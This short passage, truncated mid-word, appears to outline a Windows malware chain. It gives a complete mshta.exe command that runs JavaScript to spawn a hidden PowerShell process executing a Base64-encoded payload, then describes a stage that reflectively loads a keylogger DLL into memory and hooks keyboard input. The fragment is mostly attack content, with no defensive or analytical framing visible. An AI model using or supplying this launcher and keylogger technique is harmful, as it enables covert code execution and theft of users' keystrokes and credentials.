mshta.exe javascript:eval("new ActiveXObject('WScript.Shell').Run('powershell.exe -enc [Base64Payload]',0,true)") In-Memory Payload: 2. PowerShell script (Base64 encoded) that: Reflectively loads keylogger DLL into memory Hooks keyboard input via Set